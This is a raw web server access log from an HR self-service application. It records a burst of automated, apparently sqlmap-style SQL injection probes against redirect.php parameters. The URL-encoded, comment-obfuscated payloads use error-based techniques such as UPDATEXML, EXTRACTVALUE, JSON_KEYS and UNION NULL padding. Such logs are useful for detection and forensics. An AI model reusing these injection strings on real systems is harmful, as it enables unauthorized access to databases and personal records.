100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x38695370%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a4b4d33%29%2C5431%29--%2F%2A%2A%2FUcEU&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x574f4250%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79396d48%29%29x%29%29--%2F%2A%2A%2Fn9Bs HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x574f4250%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79396d48%29%29x%29%29--%2F%2A%2A%2Fn9Bs HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x31384a36%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74524d6b%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FSDHD HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x31384a36%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74524d6b%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FSDHD HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x30684552%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47307936%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F6tss HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x30684552%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47307936%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F6tss HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 200 365 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x3343426a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66536773%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FwUsn&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 200 365
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x65695967%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x506c7650%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x65695967%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x506c7650%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x65443333%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77456c4f%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FQGt4%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x65443333%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77456c4f%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FQGt4%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 200 365 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x784a4332%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c775364%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fbs7N&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 200 365
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x44724666%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69344741%29%29%2C1%29--%2F%2A%2A%2FriSw HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x44724666%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69344741%29%29%2C1%29--%2F%2A%2A%2FriSw HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x37374d37%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a594c33%29%29%2C1%29--%2F%2A%2A%2Fj5hr HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x37374d37%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a594c33%29%29%2C1%29--%2F%2A%2A%2Fj5hr HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x72494f73%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70366539%29%2C5431%29--%2F%2A%2A%2FGXEJ HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x72494f73%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70366539%29%2C5431%29--%2F%2A%2A%2FGXEJ HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x556e416b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x434f7270%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F1EFL%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x556e416b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x434f7270%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F1EFL%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6b566667%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32455472%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FZm6g%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6b566667%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32455472%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FZm6g%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x79615833%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x397a344d%29%2C5431%29--%2F%2A%2A%2FHtXy HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x79615833%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x397a344d%29%2C5431%29--%2F%2A%2A%2FHtXy HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x63334f67%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x776d4446%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x63334f67%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x776d4446%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:39 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
